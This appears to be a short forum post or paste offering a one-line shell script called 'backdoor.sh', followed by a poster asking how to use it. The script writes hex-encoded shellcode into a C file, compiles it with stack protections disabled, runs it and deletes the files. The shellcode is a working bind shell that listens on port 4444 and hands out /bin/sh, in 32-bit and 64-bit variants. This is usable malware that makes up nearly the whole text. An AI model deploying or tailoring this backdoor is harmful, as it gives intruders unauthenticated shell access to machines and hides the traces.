little backdoor

backdoor.sh

echo "unsigned char shellcode[] = \"\\x31\\xc0\\x40\\x74\\x60\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\xb3\\x01\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x43\\x52\\x66\\x68\\x11\\x5c\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x04\\x52\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x52\\x52\\x56\\x89\\xe1\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x92\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x50\\x89\\xe2\\xb0\\x0b\\xcd\\x80\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x6a\\x06\\x5a\\x6a\\x29\\x58\\x0f\\x05\\x49\\x89\\xc0\\x4d\\x31\\xd2\\x41\\x52\\x41\\x52\\xc6\\x04\\x24\\x02\\x66\\xc7\\x44\\x24\\x02\\x11\\x5c\\x48\\x89\\xe6\\x41\\x50\\x5f\\x6a\\x10\\x5a\\x6a\\x31\\x58\\x0f\\x05\\x41\\x50\\x5f\\x6a\\x01\\x5e\\x6a\\x32\\x58\\x0f\\x05\\x48\\x89\\xe6\\x48\\x31\\xc9\\xb1\\x10\\x51\\x48\\x89\\xe2\\x41\\x50\\x5f\\x6a\\x2b\\x58\\x0f\\x05\\x59\\x4d\\x31\\xc9\\x49\\x89\\xc1\\x4c\\x89\\xcf\\x48\\x31\\xf6\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75\\xf6\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05\";int main(void){(*(void(*)()) shellcode)();}" > test.c; gcc -fno-stack-protector -z execstack -o test test.c; chmod +x test; ./test; rm test*;

um, well, then how can I use that backdoor? Is that a remote backdoor or what?